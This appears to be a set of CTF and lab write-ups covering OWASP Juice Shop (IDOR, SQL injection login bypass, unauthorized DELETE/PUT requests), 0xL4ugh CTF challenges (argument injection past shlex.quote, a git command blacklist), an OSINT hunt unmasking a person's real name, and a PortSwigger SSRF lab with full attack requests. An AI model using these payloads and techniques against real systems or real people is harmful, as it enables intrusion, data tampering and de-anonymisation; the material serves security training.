Reason : According to NIST-800-63B, passwords (Memorized Secrets) should have at least eight characters to prevent ‘online attacks’. Furthermore, NIST-800-63B requires that passwords don’t appear in common dictionaries.
Congratzzzzz
★★ view basket
View another user’s shopping basket.
When i visit my basket i note that there’s an API request to /rest/basket/6
When i change it to /rest/basket/1 i see the basket of the user whose id = 1 (no validation exists)
★★ Five-Star Feedback
Get rid of all 5-star customer feedback.
When i view feedbacks i can visit this api GET /api/Feedbacks/
Make the request to be OPTIONS then you find that you can use DELETE method
DELETE /api/Feedbacks/
will give error that the path is invalid so i added the id in the request like this DELETE /api/Feedbacks/1
1 is the id of the feedback i want to delete and i made this request for the feedbacks of 5 Stars
Note: i don’t know if there’s a way to delete based on the rating not the id
★★★ Login Jim & Login Bender
I managed to login to any account in the site like i did to the admin with small modification
{"email":"' or 1=1 LIMIT 1,1 --","password":""}
LIMIT 1,1 The first 1 is an index and the second 1 is number of rows retrieved
so i can change the first 1 to any number and i can login to any account
Jim was 1 and Bender was 2
Congratzzzzz
★★★ Manipulate Basket
Put an additional product into another user’s shopping basket.
we said we can view any basket through GET /rest/basket/1
and when we add element to basket the req is to POST /api/BasketItems/
and the data is
{"ProductId":1,"BasketId":"6","quantity":1}
when i try to change the basket id i get 401 unauthorized status code and {'error' : 'Invalid BasketId'}
so i made the req method to be OPTIONS and i found PUT method
when i try PUT /api/BasketItems/ i get error
{
"error": {
"message": "Unexpected path: /api/BasketItems/",
"stack": "Error: Unexpected path: /api/BasketItems/\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\angular.js:38:18\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:168:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\lib\\index.js:44:7\n at module.exports.verify (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\node_modules\\jsonwebtoken\\index.js:59:3)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express-jwt\\lib\\index.js:40:9\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)\n at trim_prefix (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:328:13)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:286:9\n at Function.process_params (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:346:12)\n at next (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\index.js:280:10)\n at E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\build\\routes\\verify.js:105:5\n at Layer.handle [as handle_request] (E:\\careeeeeeeer\\Career\\for CTFs\\Web pentesting\\Orange Juice node 20\\juice-shop_16.0.1\\node_modules\\express\\lib\\router\\layer.js:95:5)"
}
}
the path is wrong so it may need the id at the end of the url
so i made it PUT /api/BasketItems/2 with the json data
{"ProductId":1,"BasketId":"2","quantity":1}
and i got 400 status code bad request and this
{"message":"null: `BasketId` cannot be updated due `noUpdate` constraint","errors":[{"field":"BasketId","message":"`BasketId` cannot be updated due `noUpdate` constraint"}]}
so i removed the BasketId from the json and got the same error for ProductId so i removed it also
then i got this response
{"status":"success","data":{"ProductId":2,"BasketId":1,"id":2,"quantity":1,"createdAt":"2024-06-19T13:26:15.289Z","updatedAt":"2024-06-19T18:48:08.760Z"}}
and when you view the BasketId:1 using GET /rest/basket/1 you will notice that the item is added.
Congratzzzzzzzzzzz
-
-
-
-
-
Misc: Library (hard)
Description
Built a book library, however my friend says that i made a nasty mistake!
Author: zAbuQasem
nc 172.190.120.133 50003
Solution
There’s an attached code with the challange and we will care about challange.py file in it
The content is
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from rich.console import Console
import re
import shlex
import os
FLAG = os.getenv("FLAG","FAKE_FLAG")
console=Console()
class Member:
def __init__(self, name):
self.name = name
class Book:
def __init__(self, title, author, isbn):
self.title = title
self.author = author
self.isbn = isbn
class BookCopy:
def __init__(self, book):
self.book = book
self.available = True
class SaveFile:
def __init__(self, file_name=os.urandom(16).hex()):
self.file = file_name
class Library:
def __init__(self, name):
self.name = name
self.books = {}
self.members = {}
def add_book(self, book, num_copies=1):
if book.isbn in self.books:
self.books[book.isbn] += num_copies
else:
self.books[book.isbn] = num_copies
def add_member(self, member):
self.members[member.name] = member
def display_books(self,title=''):
if not title == '':
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
if book.title == title:
return book.title
else:
console.print("\n[bold red]Book not found.[/bold red]")
else:
console.print(f"\n[bold green]Books in {self.name} Library:[/bold green]")
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out"
console.print(f"[cyan]ISBN: {isbn} - Status: {status}[/cyan]")
def search_book(self):
pattern = console.input("[bold blue]Enter the pattern to search: [/bold blue]")
matching_books = []
for isbn, num_copies in self.books.items():
book = isbn_to_book[isbn]
if re.fullmatch(pattern,book.title):
matching_books.append(book)
if matching_books:
console.print(f"\n[bold yellow]Found matching books for '{pattern}':[bold yellow]")
for book in matching_books:
status = f"{num_copies} copies available" if num_copies > 0 else "All copies checked out"
console.print(f"[cyan]ISBN: {book.isbn} - Status: {status}[/cyan]")
else:
console.print(f"[bold yellow]No matching books found for '{pattern}'.[/bold yellow]")
def check_out_book(self, isbn, member_name):
if member_name not in self.members:
console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]")
return
if isbn not in isbn_to_book:
console.print("\n[bold red]Book not found.[/bold red]")
return
if isbn not in self.books or self.books[isbn] <= 0:
console.print("\n[bold red]All copies of the book are currently checked out.[/bold red]")
return
member = self.members[member_name]
book_copy = BookCopy(isbn_to_book[isbn])
for i in range(len(member_books.setdefault(member_name, []))):
if member_books[member_name][i].book.isbn == isbn and member_books[member_name][i].available:
member_books[member_name][i] = book_copy
self.books[isbn] -= 1
console.print(f"\n[bold green]Successfully checked out:[/bold green] [cyan]{book_copy.book} for {member.name}[/cyan]")
return
console.print("\n[bold red]No available copies of the book for checkout.[/bold red]")
def return_book(self, isbn, member_name):
if member_name not in self.members:
console.print(f"\n[bold red]Member '{member_name}' not found.[/bold red]")
return
if isbn not in isbn_to_book:
console.print("\n[bold red]Book not found.[/bold red]")
return
member = self.members[member_name]
for i in range(len(member_books.setdefault(member_name, []))):
if member_books[member_name][i].book.isbn == isbn and not member_books[member_name][i].available:
member_books[member_name][i].available = True
self.books[isbn] += 1
console.print(f"\n[bold green]Successfully returned:[/bold green] [cyan]{member_books[member_name][i].book} by {member.name}[/cyan]")
return
console.print("\n[bold red]Book not checked out to the member or already returned.[/bold red]")
def save_book(title, content='zAbuQasem'):
try:
with open(title, 'w') as file:
file.write(content)
console.print(f"[bold green]Book saved successfully[/bold green]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
def check_file_presence():
book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] "))
command = "ls " + book_name
try:
result = os.popen(command).read().strip()
print(result)
if result == book_name:
console.print(f"[bold green]The book is present in the current directory.[/bold green]")
else:
console.print(f"[bold red]The book is not found in the current directory.[/bold red]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
if __name__ == "__main__":
library = Library("My Library")
isbn_to_book = {}
member_books = {}
while True:
console.print("\n[bold blue]Library Management System[/bold blue]")
console.print("1. Add Member")
console.print("2. Add Book")
console.print("3. Display Books")
console.print("4. Search Book")
console.print("5. Check Out Book")
console.print("6. Return Book")
console.print("7. Save Book")
console.print("8. Check File Presence")
console.print("0. Exit")
choice = console.input("[bold blue]Enter your choice (0-8): [/bold blue]")
if choice == "0":
console.print("[bold blue]Exiting Library Management System. Goodbye![/bold blue]")
break
elif choice == "1":
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.add_member(Member(member_name))
console.print(f"[bold green]Member '{member_name}' added successfully.[/bold green]")
elif choice == "2":
title = console.input("[bold blue]Enter book title: [/bold blue]").strip()
author = console.input("[bold blue]Enter book author: [/bold blue]")
isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]")
num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]"))
book = Book(title, author, isbn)
isbn_to_book[isbn] = book
library.add_book(book, num_copies)
console.print(f"[bold green]Book '{title}' added successfully with {num_copies} copies.[/bold green]")
elif choice == "3":
library.display_books()
elif choice == "4":
library.search_book()
elif choice == "5":
isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]")
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.check_out_book(isbn, member_name)
elif choice == "6":
isbn = console.input("[bold blue]Enter ISBN of the book: [/bold blue]")
member_name = console.input("[bold blue]Enter member name: [/bold blue]")
library.return_book(isbn, member_name)
elif choice == "7":
choice = console.input("\n[bold blue]Book Manager:[/bold blue]\n1. Save Existing\n2. Create new book\n[bold blue]Enter your choice (1-2): [/bold blue]")
if choice == "1":
title = console.input("[bold blue]Enter Book title to save: [/bold blue]").strip()
file = SaveFile(library.display_books(title=title))
save_book(file.file, content="Hello World")
else:
save_file = SaveFile()
title = console.input("[bold blue]Enter book title: [/bold blue]").strip()
author = console.input("[bold blue]Enter book author: [/bold blue]")
isbn = console.input("[bold blue]Enter book ISBN: [/bold blue]")
num_copies = int(console.input("[bold blue]Enter number of copies: [/bold blue]"))
title = title.format(file=save_file)
book = Book(title,author, isbn)
isbn_to_book[isbn] = book
library.add_book(book, num_copies)
save_book(title)
elif choice == "8":
check_file_presence()
else:
console.print("[bold red]Invalid choice. Please enter a number between 0 and 8.[/bold red]")
What a huge code !!
Don’t worry after a fast examination we will know that there’s only small interesting part
The interesting part is the choice number 8 cuz it calls the function check_file_presence() and its content is
def check_file_presence():
book_name = shlex.quote(console.input("[bold blue]Enter the name of the book (file) to check:[/bold blue] "))
command = "ls " + book_name
try:
result = os.popen(command).read().strip()
print(result)
if result == book_name:
console.print(f"[bold green]The book is present in the current directory.[/bold green]")
else:
console.print(f"[bold red]The book is not found in the current directory.[/bold red]")
except Exception as e:
console.print(f"[bold red]Error: {e}[/bold red]")
It’s interesting cuz it the only one containing command execution and the command we can say its supplied from the user (not exactly)
Okay let’s analyze this function
We have book_name is concatenated with ls and the result is executed as command
This appears to be vulnerable to command injection and we see that that the blacklist is very poor
but the problem is in shlex.quote this puts the input in quots
Then your dreams about supplying ;whoami as input so the command becomes ls ;whoami are destroyed becaused the command became ls ';whoami'
What can we do then ?!!!
After searching i found this amazing article
I recommend it
The most important thing we got from it is that shlex.quote() escapes the shell's parsing, but it does not escape the argument parser of the command you're calling, and some additional tool-specific escaping needs to be done manually, especially if your string starts with a dash (-).
So What about making the input something like -la resulting in the command ls -la without the problem of quotes.
┌──(youssif㉿youssif)-[~]
└─$ nc 172.190.120.133 50003
Library Management System
1. Add Member
2. Add Book
3. Display Books
4. Search Book
5. Check Out Book
6. Return Book
7. Save Book
8. Check File Presence
0. Exit
Enter your choice (0-8): 8
Enter the name of the book (file) to check: -la
total 56
drwxr-sr-x 1 challeng challeng 4096 Feb 9 23:44 .
drwxr-xr-x 1 root root 4096 Feb 1 14:20 ..
-rw-r--r-- 1 challeng challeng 9 Feb 9 23:52 0xL4ugh{TrU5t_M3_LiF3_I5_H4rD3r!}
-rw-r--r-- 1 challeng challeng 9 Feb 9 22:20 ;ls
-rw-r--r-- 1 challeng challeng 9 Feb 9 18:07 FLAG
-rw-r--r-- 1 challeng challeng 9 Feb 9 22:49 ay
-rw-rw-r-- 1 root root 8975 Jan 31 22:43 challenge.py
-rw-rw-r-- 1 root root 103 Jan 31 22:19 exec.sh
-rw-r--r-- 1 challeng challeng 9 Feb 9 16:48 nice
-rw-r--r-- 1 challeng challeng 11 Feb 9 17:19 pouet
-rw-r--r-- 1 challeng challeng 9 Feb 9 23:44 test
The book is not found in the current directory.
Nice We got it, The flag is right there !!
The flag: 0xL4ugh{TrU5t_M3_LiF3_I5_H4rD3r!}
-
Misc: GitMeow (medium)
Description
Just another annoying git challenge :)
Author: zAbuQasem
nc 172.190.120.133 50001
Solution
There’s an attached code with the challange and we will care about challange.py file in it
The content is
import os
from banner import monkey
BLACKLIST = ["|", "\"", "'", ";", "$", "\\", "#", "*", "(", ")", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push"]
def is_valid_utf8(text):
try:
text.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
def get_git_commands():
commands = []
print("Enter git commands (Enter an empty line to end):")
while True:
try:
user_input = input("")
except (EOFError, KeyboardInterrupt):
break
if not user_input:
break
if not is_valid_utf8(user_input):
print(monkey)
exit(1337)
for command in user_input.split(" "):
for blacklist in BLACKLIST:
if blacklist in command:
print(monkey)
exit(1337)
commands.append("git " + user_input)
return commands
def execute_git_commands(commands):
for command in commands:
output = os.popen(command).read()
if "{f4k3_fl4g_f0r_n00b5}" in output:
print(monkey)
exit(1337)
else:
print(output)
commands = get_git_commands()
execute_git_commands(commands)
When we analyze the code carefully, we will find many important things
The program accepts input from user and this input is used in git command in the format git input
The input is tested against the words in the blacklist
you can execute more than one command
supplying endline means no more input
So we need to make use of git commands to get the flag.
Let’s start the challange
──(youssif㉿youssif)-[~]
└─$ nc 172.190.120.133 50004
_____ _ _ ___ ___
| __ (_) | | \/ |
| | \/_| |_| . . | ___ _____ __
| | __| | __| |\/| |/ _ \/ _ \ \ /\ / /
| |_\ \ | |_| | | | __/ (_) \ V V /
\____/_|\__\_| |_/\___|\___/ \_/\_/
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
I started by trying simple commands like git status, git log and this is done by supplying status & log as inputs
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
status
log
On branch master
Untracked files:
(use "git add <file>..." to include in what will be committed)
../../.dockerenv
../../bin/
../../dev/
../../etc/
../
../../lib/
../../proc/
../../run/
../../sbin/
../../sys/
../../tmp/
../../usr/
../../var/
nothing added to commit but untracked files present (use "git add" to track)
commit c208c6664cc72304ec7803c612c10a4f468338e8
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Sat Feb 10 00:31:43 2024 +0000
.
commit 14f7055bac6cffb5e5c052577c4b607ef776de6c
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 21:05:03 2024 +0000
i
commit bc7f31f90f4c9071af36e50059a61fd7630dc2a2
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:58:48 2024 +0000
a
commit ab5579000510625d0c8340b5b5ee06fbb32ac3d0
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:48:05 2024 +0000
a
commit f57b0e151d5ed760ed6b78af993d8f69a48a0b1a
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 17:03:30 2024 +0000
dummy
commit 76877ac666f00e4928cbdad873eb1b3d2011ebbb
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:57:01 2024 +0000
dummy
commit 504f31a3c83e8cca42a9ef17d4bf74b89bff9d66
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:57:00 2024 +0000
dummy
After them i tried to make use of git diff but i got error and the error because diff is blacklisted
So we need to search more and after searching i found it
The command git log --stat -M which provides a detailed overview of the commit history, including file modifications and renames.
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
log --stat -M
commit 4d6f6931ab8c2de5d54755d933ef0c629a2e821b
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Sat Feb 10 00:26:34 2024 +0000
.
Notes:
0xL4ugh{GiT_D0c3_F0r_Th3_WiN}
flag.txt | 1 +
1 file changed, 1 insertion(+)
commit b02cbef94904b3d8247d96568290432a3031b152
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:49:18 2024 +0000
a
archive123.zip | Bin 1927 -> 28391 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 27adc7dc97eef4a627344c44df44b2058002e9d0
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 17:00:50 2024 +0000
dummy
archive123.zip | Bin 0 -> 1927 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 90f6d50253dd542fcad7ab2def60e79403212ccd
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:24:39 2024 +0000
dummy
git-diagnostics-2024-02-09-1624.zip | Bin 0 -> 14631 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 5926449b1592558e499f72e5820fc5518def581a
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:21:38 2024 +0000
dummy
git-diagnostics-2024-02-09-1621.zip | Bin 0 -> 14490 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit ca244e18bb33e611af1d4d7397d9ab31d0af7972
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:11:24 2024 +0000
KAY
.gitconfig | 5 ++++
__pycache__/banner.cpython-311.pyc | Bin 0 -> 966 bytes
banner.py | 20 +++++++++++++
challenge.py | 56 ++++++++++++++++++++++++++++++++++++
entrypoint.sh | 22 ++++++++++++++
exec.sh | 18 ++++++++++++
git-diagnostics-2024-02-09-1540.zip | 0
git-diagnostics-2024-02-09-1545.zip | 0
git-diagnostics-2024-02-09-1546.zip | 0
git-diagnostics-2024-02-09-1548.zip | 0
git-diagnostics-2024-02-09-1552.zip | 0
git-diagnostics-2024-02-09-1556.zip | 0
12 files changed, 121 insertions(+)
You got it look at the output again the flag is right there.
The flag: 0xL4ugh{GiT_D0c3_F0r_Th3_WiN}
-
OSINT: Cheater (medium)
Description
Our team received a request from a man who believes his wife may be cheating on him. He asked us to help by checking her accounts for any evidence. He provided his wife’s name, “Hamdia Eldhkawy” and mentioned that a friend informed him she shared a picture with someone on social media. He couldn’t find the image and wants us to discover the man’s real name.
Flag Format: 0xL4ugh{First Name_Last Name}
Solution
Let’s go
First i started searching using Hamdia Eldhkawy using google
after some trials i found nothing useful
I decided to try searching for Hamdia Eldhkawy using bing search
good news, i found an instagram profile instagram_profile
I searched within the profile trying to get useful information for next steps examining
followers
posts
I stuck for a long time here as i thought the followers or the people reacting to her posts maybe interesting, so i spent some time with some reacting users but with no useful information
I also tried using the pictures in her posts in reverse image search, but also with no useful results
Then i noticed important thing that all the posts are about AI generated pictures
This may indicate that she is interested in AI and this gave me a hint to the next step
Let’s go back to bing and search using Hamdia Eldhkawy ai
and we got this results
The OPENAI link is the treasure here OPENAI post
When we go in we find interesting comment from a user called Hamada_Elbes
I remember you, Hamada
Hamade_Elbes was an OSINT challange in 0xl4ugh ctf 2023 xDDDD
anyway let’s back and look at the comment
The comment is: Haha Hamdia, I already caught that :wink: I can share it with your husband <3 with the photo below
After analyzing this image carefully we will find important information
First, The url may move us to the post
Second, Hamdia mentioned her boyfriend in the post but the picture is cropped so we just know that his account starts by spide and this’s not enough
When we try to access the link in the image we willn’t get that post
Maybe Hamdia deleted it ummmmmmmmmmmmmm
Good one, Hamdia but you are too late as Hamada_Elbes caught you xDD
We need to reach that deleted post and in this situation we will think abount web archiving
I tried wayback machine but with no useful results
Then i searched for an alternative and after many trials this worked with me archive.ph
Let’s open it and get the info we need
The treasures in here finally she mentioned spidersh4zly
What are you waiting for?! Let’s search for him on instagram
And this is his account
There’s another link in his profile for more information, and i see that there’s nothing else important
Let’s go to this link
We see many accounts for spidersh4zly after analyzing them i found that all are useless except the gmail
We can use the gmail in getting his real name using a powerful tool called epieos
Go to its site insert the email and let it makes its magic
And here’s the results
We found him. He is Abdelfatah ElCanaway
Congratz we got it.
The flag: 0xL4ugh{Abdelfatah_ElCanaway}
-
-
-
-
SSRF: challange 2
Basic SSRF against another back-end system
Link: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.
solution
start the lab and remember the objective is to open /admin and delete the user carlos
if u try going to /admin endpoint, you will n’t get the result as u can’t access it directly.
so let’s go to products and click check stock as challange describtion said
intercept this request
POST /product/stock HTTP/1.1
Host: 0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Cookie: session=2Gw97cnP5g3C7q7rHceYJzb6gt78siRj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
notice that stockApi parameter has a url as a value, so let’s try to change it to http://192.168.0.x:8080/admin as said in describtion.
we don’t know the value of x so we will send the request to the intruder for brute forcing to be like this
POST /product/stock HTTP/1.1
Host: 0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Cookie: session=2Gw97cnP5g3C7q7rHceYJzb6gt78siRj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
stockApi=http://192.168.0.§x§:8080/admin
notice that x is between two of § character, as it’s parameter of the brute force
to choose the values of it we will go to payloads tab
change payload type to numbers and make it ranges from 0 to 255 with step 1
start the attack and wait until you see a request with status 200
when you find it this means that this is the suitable ip
back to the repeater and use it with changing the value of the stockApi to: /admin/delete?username=carlos
carlos is deleted
congratzzzzzzzzzzzzzzzzzzzzz
-
Touch background to close